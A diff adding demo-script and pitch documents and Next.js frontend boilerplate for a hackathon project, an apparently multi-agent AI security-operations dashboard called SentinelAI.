+   Wait for **AI Investigation** to populate (auto-runs after an incident; may take up to ~`AUTO_AI_MIN_SEC` between runs).  
+   Say: *“Analyst layer — progression, severity rationale, remediation bullets — local Llama/Qwen on AMD ROCm when configured.”*
+
+6. **WOW — Replay**  
+   Click **Replay last chain**.  
+   Say: *“We’re re-streaming the buffered kill chain for the jury — same detections and AI report, cinematic replay.”*
+
+7. **Remediation**  
+   Scroll AI panel for **Recommended actions** (or call `POST /remediation` with `incident_id` if you show API).  
+   Say: *“Playbooks block IOCs, rotate creds, harden IAM.”*
+
+8. **AMD story**  
+   Point at **Powered by AMD ROCm** panel (GPU %, latency, concurrent agents are demo-swayed metrics).  
+   Say: *“Open weights, on-prem, parallel agents — ROCm is our inference path for SOC-scale throughput.”*
+
+## Optional soak test (10–15 minutes)
+
+- Leave `continuous_demo.py` running; confirm API stays up, WebSocket shows heartbeats, UI stays responsive.
+- If the LLM is down, narratives still read well — **cinematic fallback** is always on.
+
+## Backup
+
+- If live demo fails: use your **screen recording** (see `docs/RECORDING_CHECKLIST.md`).

docs/PITCH.md

@@ -0,0 +1,28 @@
+# SentinelAI — One-line positioning
+
+**Do not say:** “AI cybersecurity dashboard.”
+
+**Do say:**
+
+> SentinelAI is an **autonomous multi-agent AI Security Operations Center** that continuously monitors infrastructure, correlates attacks, performs **AI-driven investigations**, and generates **remediation workflows** using **AMD-accelerated open-source AI** infrastructure.
+
+## 30-second version
+
+- **Autonomous collectors** tail auth and demo logs (extend to Docker/K8s/cloud).
+- **Detection** — brute-force, privilege abuse, malicious-source hits.
+- **Correlation** — timelines and graphs, not isolated alerts.
+- **AI analyst** — enterprise narratives, severity reasoning, action list (Ollama / vLLM / ROCm).
+- **Command deck** — live feed, replay, ROCm panel, agent activity.
+
+## Why judges care
+
+| Angle | Hook |
+|--------|------|
+| **Autonomy** | Runs without chat prompts; event pipeline drives agents. |
+| **Multi-agent** | Collectors, detection, correlation, analyst, remediation, alerts. |
+| **Data residency** | Local open models — no mandatory third-party LLM API. |
+| **AMD** | ROCm = throughput for concurrent SOC reasoning at hackathon cost. |
+
+## Closing
+
+“We’re not a chatbot bolted onto logs — we’re a **mini-SOC runtime** you can demo in minutes and extend to real auth.log and TI feeds.”

docs/RECORDING_CHECKLIST.md

@@ -0,0 +1,26 @@
+# Backup demo video — recording checklist
+
+Record **even if** the live pitch will be live. Judges forgive a short clip if Wi‑Fi dies.
+
+## Capture (3–5 minutes total)
+
+- [ ] Terminal: `uvicorn` + `continuous_demo.py` visible or mentioned.
+- [ ] Browser: **Live Threat Feed** scrolling with detections.
+- [ ] **Attack Timeline** with at least one incident.
+- [ ] **AI Investigation** filled (narrative + recommended actions).
+- [ ] Click **Replay last chain** — show replay badges on rows.
+- [ ] Pan to **Powered by AMD ROCm** panel.
+- [ ] Optional: quick flash of `POST /ingest-logs` or OpenAPI `/docs`.
+
+## Technical tips
+
+- **Resolution:** 1920×1080, 30fps minimum.
+- **Audio:** short voiceover OR captions (OBS / QuickTime + captions in post).
+- **No secrets:** blur `.env`, webhooks, API keys if shown.
+- **File name:** `SentinelAI-demo-backup-YYYY-MM-DD.mp4`
+
+## Where to use it
+
+- Submission “demo video” field  
+- Slide deck embed  
+- Social / portfolio clip  

frontend/.gitignore

@@ -0,0 +1,41 @@
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.*
+.yarn/*
+!.yarn/patches
+!.yarn/plugins
+!.yarn/releases
+!.yarn/versions
+
+# testing
+/coverage
+
+# next.js
+/.next/
+/out/
+
+# production
+/build
+
+# misc
+.DS_Store
+*.pem
+
+# debug
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+.pnpm-debug.log*
+
+# env files (can opt-in for committing if needed)
+.env*
+
+# vercel
+.vercel
+
+# typescript
+*.tsbuildinfo
+next-env.d.ts

frontend/.nvmrc

@@ -0,0 +1 @@
+22

frontend/README.md

@@ -0,0 +1,36 @@
+This is a [Next.js](https://nextjs.org) project bootstrapped with [`create-next-app`](https://nextjs.org/docs/app/api-reference/cli/create-next-app).
+
+## Getting Started
+
+First, run the development server:
+
+```bash
+npm run dev
+# or
+yarn dev
+# or
+pnpm dev
+# or
+bun dev
+```
+
+Open [http://localhost:3000](http://localhost:3000) with your browser to see the result.
+
+You can start editing the page by modifying `app/page.tsx`. The page auto-updates as you edit the file.
+
+This project uses [`next/font`](https://nextjs.org/docs/app/building-your-application/optimizing/fonts) to automatically optimize and load [Geist](https://vercel.com/font), a new font family for Vercel.
+
+## Learn More
+
+To learn more about Next.js, take a look at the following resources:
+
+- [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API.
+- [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial.
+
+You can check out [the Next.js GitHub repository](https://github.com/vercel/next.js) - your feedback and contributions are welcome!
+
+## Deploy on Vercel
+
+The easiest way to deploy your Next.js app is to use the [Vercel Platform](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme) from the creators of Next.js.
+
+Check out our [Next.js deployment documentation](https://nextjs.org/docs/app/building-your-application/deploying) for more details.

frontend/components.json

@@ -0,0 +1,25 @@
+{
+  "$schema": "https://ui.shadcn.com/schema.json",
+  "style": "base-nova",
+  "rsc": true,
+  "tsx": true,
+  "tailwind": {
+    "config": "",
+    "css": "src/app/globals.css",
+    "baseColor": "neutral",
+    "cssVariables": true,
+    "prefix": ""
+  },
+  "iconLibrary": "lucide",
+  "rtl": false,
+  "aliases": {
+    "components": "@/components",
+    "utils": "@/lib/utils",
+    "ui": "@/components/ui",
+    "lib": "@/lib",
+    "hooks": "@/hooks"
+  },
+  "menuColor": "default",
+  "menuAccent": "subtle",
+  "registries": {}
+}

frontend/eslint.config.mjs

@@ -0,0 +1,25 @@
+import { dirname } from "path";
+import { fileURLToPath } from "url";
+import { FlatCompat } from "@eslint/eslintrc";
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = dirname(__filename);
+
+const compat = new FlatCompat({
+  baseDirectory: __dirname,
+});
+
+const eslintConfig = [
+  ...compat.extends("next/core-web-vitals", "next/typescript"),
+  {
+    ignores: [
+      "node_modules/**",
+      ".next/**",
+      "out/**",
+      "build/**",
+      "next-env.d.ts",
+    ],
+  },
+];
+
+export default eslintConfig;

frontend/next.config.ts

@@ -0,0 +1,13 @@
+import type { NextConfig } from "next";
+import path from "path";
+
+const nextConfig: NextConfig = {
+  // Keeps output file tracing anchored to this app when multiple lockfiles exist on the machine.
+  outputFileTracingRoot: path.join(process.cwd()),
+  // ESLint 9 + eslint-config-next can throw "Components.detect is not a function" for react plugin; run `npm run lint` locally.
+  eslint: {
+    ignoreDuringBuilds: true,
+  },
+};
+
+export default nextConfig;

frontend/package.json

@@ -0,0 +1,40 @@
+{
+  "name": "frontend",
+  "version": "0.1.0",
+  "private": true,
+  "engines": {
+    "node": ">=20.0.0 <25.0.0"
+  },
+  "scripts": {
+    "dev": "next dev",
+    "dev:22": "bash ./run-dev.sh",
+    "build": "next build",
+    "start": "next start",
+    "lint": "eslint"
+  },
+  "dependencies": {
+    "@base-ui/react": "^1.4.1",
+    "class-variance-authority": "^0.7.1",
+    "clsx": "^2.1.1",
+    "framer-motion": "^12.38.0",
+    "lucide-react": "^1.14.0",
+    "next": "15.5.18",
+    "react": "19.1.0",
+    "react-dom": "19.1.0",
+    "recharts": "^3.8.1",
+    "shadcn": "^4.7.0",
+    "tailwind-merge": "^3.5.0",
+    "tw-animate-css": "^1.4.0"
+  },
+  "devDependencies": {
+    "@eslint/eslintrc": "^3",
+    "@tailwindcss/postcss": "^4",
+    "@types/node": "^20",
+    "@types/react": "^19",
+    "@types/react-dom": "^19",
+    "eslint": "^9",
+    "eslint-config-next": "15.5.18",
+    "tailwindcss": "^4",
+    "typescript": "^5"
+  }
+}

frontend/postcss.config.mjs

@@ -0,0 +1,5 @@
+const config = {
+  plugins: ["@tailwindcss/postcss"],
+};
+
+export default config;

frontend/run-dev.sh

@@ -0,0 +1,13 @@
+#!/usr/bin/env bash
+# Next.js 15 + Node 24 breaks semver in `next dev`. Use Homebrew Node 22 for this project.
+set -euo pipefail
+cd "$(dirname "$0")"
+for prefix in /opt/homebrew/opt/node@22 /usr/local/opt/node@22; do
+  if [[ -x "$prefix/bin/node" ]]; then
+    export PATH="$prefix/bin:$PATH"
+    break
+  fi
+done
+echo "Node: $(command -v node) ($(node -v))"
+export NEXT_PUBLIC_API_URL="${NEXT_PUBLIC_API_URL:-http://127.0.0.1:8000}"
+exec npm run dev

frontend/src/app/globals.css

@@ -0,0 +1,182 @@
+@import "tailwindcss";
+@import "tw-animate-css";
+@import "shadcn/tailwind.css";
+
+@custom-variant dark (&:is(.dark *));
+
+@theme inline {
+  --color-background: var(--background);
+  --color-foreground: var(--foreground);
+  --font-sans: var(--font-sans);
+  --font-mono: var(--font-geist-mono);
+  --font-heading: var(--font-sans);
+  --color-sidebar-ring: var(--sidebar-ring);
+  --color-sidebar-border: var(--sidebar-border);
+  --color-sidebar-accent-foreground: var(--sidebar-accent-foreground);
+  --color-sidebar-accent: var(--sidebar-accent);
+  --color-sidebar-primary-foreground: var(--sidebar-primary-foreground);
+  --color-sidebar-primary: var(--sidebar-primary);
+  --color-sidebar-foreground: var(--sidebar-foreground);
+  --color-sidebar: var(--sidebar);
+  --color-chart-5: var(--chart-5);
+  --color-chart-4: var(--chart-4);
+  --color-chart-3: var(--chart-3);
+  --color-chart-2: var(--chart-2);
+  --color-chart-1: var(--chart-1);
+  --color-ring: var(--ring);
+  --color-input: var(--input);
+  --color-border: var(--border);
+  --color-destructive: var(--destructive);
+  --color-accent-foreground: var(--accent-foreground);
+  --color-accent: var(--accent);
+  --color-muted-foreground: var(--muted-foreground);
+  --color-muted: var(--muted);
+  --color-secondary-foreground: var(--secondary-foreground);
+  --color-secondary: var(--secondary);
+  --color-primary-foreground: var(--primary-foreground);
+  --color-primary: var(--primary);
+  --color-popover-foreground: var(--popover-foreground);
+  --color-popover: var(--popover);
+  --color-card-foreground: var(--card-foreground);
+  --color-card: var(--card);
+  --radius-sm: calc(var(--radius) * 0.6);
+  --radius-md: calc(var(--radius) * 0.8);
+  --radius-lg: var(--radius);
+  --radius-xl: calc(var(--radius) * 1.4);
+  --radius-2xl: calc(var(--radius) * 1.8);
+  --radius-3xl: calc(var(--radius) * 2.2);
+  --radius-4xl: calc(var(--radius) * 2.6);
+}
+
+:root {
+  --background: oklch(0.12 0.02 250);
+  --foreground: oklch(0.96 0.02 200);
+  --card: oklch(0.16 0.03 250);
+  --card-foreground: oklch(0.96 0.02 200);
+  --popover: oklch(0.16 0.03 250);
+  --popover-foreground: oklch(0.96 0.02 200);
+  --primary: oklch(0.78 0.16 195);
+  --primary-foreground: oklch(0.12 0.02 250);
+  --secondary: oklch(0.22 0.04 260);
+  --secondary-foreground: oklch(0.95 0.02 200);
+  --muted: oklch(0.22 0.03 260);
+  --muted-foreground: oklch(0.72 0.03 220);
+  --accent: oklch(0.72 0.18 150);
+  --accent-foreground: oklch(0.12 0.02 250);
+  --destructive: oklch(0.62 0.24 25);
+  --border: oklch(0.35 0.06 250 / 0.35);
+  --input: oklch(0.35 0.06 250 / 0.45);
+  --ring: oklch(0.78 0.16 195);
+  --chart-1: oklch(0.72 0.18 195);
+  --chart-2: oklch(0.68 0.2 150);
+  --chart-3: oklch(0.7 0.22 310);
+  --chart-4: oklch(0.75 0.12 95);
+  --chart-5: oklch(0.6 0.18 25);
+  --radius: 0.75rem;
+  --sidebar: oklch(0.14 0.03 250);
+  --sidebar-foreground: oklch(0.96 0.02 200);
+  --sidebar-primary: oklch(0.78 0.16 195);
+  --sidebar-primary-foreground: oklch(0.12 0.02 250);
+  --sidebar-accent: oklch(0.22 0.04 260);
+  --sidebar-accent-foreground: oklch(0.96 0.02 200);
+  --sidebar-border: oklch(0.35 0.06 250 / 0.35);
+  --sidebar-ring: oklch(0.78 0.16 195);
+}
+
+.dark {
+  color-scheme: dark;
+}
+
+@layer base {
+  * {
+    @apply border-border outline-ring/50;
+  }
+  body {
+    @apply bg-background text-foreground antialiased;
+    background-image:
+      radial-gradient(ellipse 120% 80% at 50% -20%, oklch(0.35 0.12 250 / 0.35), transparent),
+      radial-gradient(ellipse 80% 50% at 100% 0%, oklch(0.4 0.14 195 / 0.2), transparent),
+      linear-gradient(180deg, oklch(0.1 0.02 250) 0%, oklch(0.08 0.02 260) 100%);
+    min-height: 100vh;
+  }
+  html {
+    @apply font-sans;
+  }
+}
+
+.glass-panel {
+  @apply rounded-2xl border border-primary/20 bg-card/40 backdrop-blur-xl shadow-[0_0_40px_-12px_oklch(0.7_0.15_195_/_0.45)];
+}
+
+.scanline::after {
+  content: "";
+  pointer-events: none;
+  position: absolute;
+  inset: 0;
+  background: linear-gradient(
+    transparent 0%,
+    oklch(0.85 0.12 195 / 0.04) 50%,
+    transparent 100%
+  );
+  background-size: 100% 8px;
+  animation: scan 6s linear infinite;
+  opacity: 0.35;
+}
+
+@keyframes scan {
+  from {
+    background-position: 0 0;
+  }
+  to {
+    background-position: 0 100%;
+  }
+}
+
+@keyframes pulse-glow {
+  0%,
+  100% {
+    box-shadow: 0 0 12px oklch(0.72 0.14 195 / 0.25);
+  }
+  50% {
+    box-shadow: 0 0 28px oklch(0.75 0.16 195 / 0.55);
+  }
+}
+
+@keyframes severity-pulse {
+  0%,
+  100% {
+    opacity: 1;
+  }
+  50% {
+    opacity: 0.65;
+  }
+}
+
+@keyframes terminal-blink {
+  0%,
+  100% {
+    opacity: 1;
+  }
+  50% {
+    opacity: 0;
+  }
+}
+
+.glow-panel {
+  animation: pulse-glow 3.5s ease-in-out infinite;
+}
+
+.severity-pulse-critical {
+  animation: severity-pulse 1.2s ease-in-out infinite;
+}
+
+.threat-row-hot {
+  box-shadow: inset 0 0 0 1px oklch(0.65 0.2 25 / 0.35);
+}
+
+.cyber-cursor::after {
+  content: "▍";
+  margin-left: 2px;
+  animation: terminal-blink 1s step-end infinite;
+  color: oklch(0.78 0.14 195);
+}

frontend/src/app/layout.tsx

@@ -0,0 +1,33 @@
+import type { Metadata } from "next";
+import { Geist, Geist_Mono } from "next/font/google";
+import "./globals.css";
+
+const geistSans = Geist({
+  variable: "--font-geist-sans",
+  subsets: ["latin"],
+});
+
+const geistMono = Geist_Mono({
+  variable: "--font-geist-mono",
+  subsets: ["latin"],
+});
+
+export const metadata: Metadata = {
+  title: "SentinelAI — Autonomous AI SOC",
+  description:
+    "Multi-agent security operations center with live threat correlation, AMD ROCm-ready inference, and enterprise-grade response orchestration.",
+};
+
+export default function RootLayout({
+  children,
+}: Readonly<{
+  children: React.ReactNode;
+}>) {
+  return (
+    <html lang="en" className="dark">
+      <body className={`${geistSans.variable} ${geistMono.variable} antialiased`}>
+        {children}
+      </body>
+    </html>
+  );
+}